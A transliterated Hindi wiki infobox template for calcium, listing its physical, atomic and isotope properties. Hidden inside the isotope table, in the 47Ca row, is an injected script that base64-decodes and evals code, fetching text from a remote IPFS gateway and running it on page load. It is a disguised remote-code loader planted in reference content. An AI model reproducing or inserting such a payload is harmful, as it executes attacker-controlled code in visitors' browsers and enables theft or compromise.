Template:सूचना बक्सा कैल्सियम

भारत डिस्कवरी प्रस्तुति
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soochana baksa kailsiyam
halka bhoora
sadharan gunadharm
nam, pratik, sankhya kailsiyam, Ca, 20
tatv shreni kshariy parthiv dhatu
samooh, avart, kaksha 2, 4, s
manak paramanu bhar 40.078g·mol−1
ilektr aaun vinyas 1s2, 2s2 2p6, 3s2 3p6, 4s2
ilektr aaun prati shel 2, 8, 8, 2
bhautik gunadharm
avastha thos
ghanatv (nikat k.ta.) 1.55 g·cm−3
taral ghanatv
(galanaank par)
1.378 g·cm−3
galanaank 1115 K, 842 °C, 1548 °F
kvathanaank 1757 K, 1484 °C, 2703 °F
sanlayan ooshma 8.54 kilo jool-mol
vashpan ooshma 154.7 kilo jool-mol
vishisht ooshmiy
kshamata
25.929

jool-mol−1kilo−1

vashp dab
P (Pa) 1 10 100 1 k 10 k 100 k
at T (K) 864 956 1071 1227 1443 1755
paramanvik gunadharm
aauksikaran avastha +2, +1
ilektronegetiviti 1.00 (pailiang paimana)
ayanikaran oorjaean
(adhik)
1st: 589.8 ki.jool•mol−1
2nd: 1145.4 ki.jool•mol−1
3rd: 4912.4 ki.jool•mol−1
paramanvik trijya 197 pm
sahasanyojak trijya 176±10 pm
vaindair vals trijya 231 pm
vividh gunadharm
kristal sanrachana kendriy mukh ghanakar
chumbakiy kram parachumbakiy
vaidyut pratirodhakata (20 °C) 33.6 nΩ·m
ooshmiy chalakata (300 K) 201 W·m−1·K−1
ooshmiy prasar (25 °C) 22.3 µm·m−1·K−1
dhvani chal (patali chh d mean) (20 °C) 3810 m.s-1
yang mapaank 20 GPa
aparoopan mapaank 7.4 GPa
sthool mapaank 17 GPa
p aauyazan anupat 0.31
mohs kathorata mapaank 1.75
brainal kathorata 167 MPa
si.e.es panjikaran
sankhya
7440-70-2
samasthanik
samasthanik pra. prachurata arddh ayu ksharan avastha ksharan oorja
(MeV)
ksharan utpad
40Ca 96.941% 40Ca 20 nyootr aaun ke sath sthir
41Ca tres 1.03×105 y ε - 41K
42Ca 0.647% 42Ca 22 nyootr aaun ke sath sthir
43Ca 0.135% 43Ca 23 nyootr aaun ke sath sthir
44Ca 2.086% 44Ca 24 nyootr aaun ke sath sthir
45Ca syn 162.7 d β 0.258 45Sc
46Ca 0.004% >2.8×1015 y ββ ? 46Ti
47Ca syn 4.536 d β 0.694, 1.99 47Sc
γ 1.297 -<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
48Ca 0.187% >4×1019 y ββ ? 48Ti

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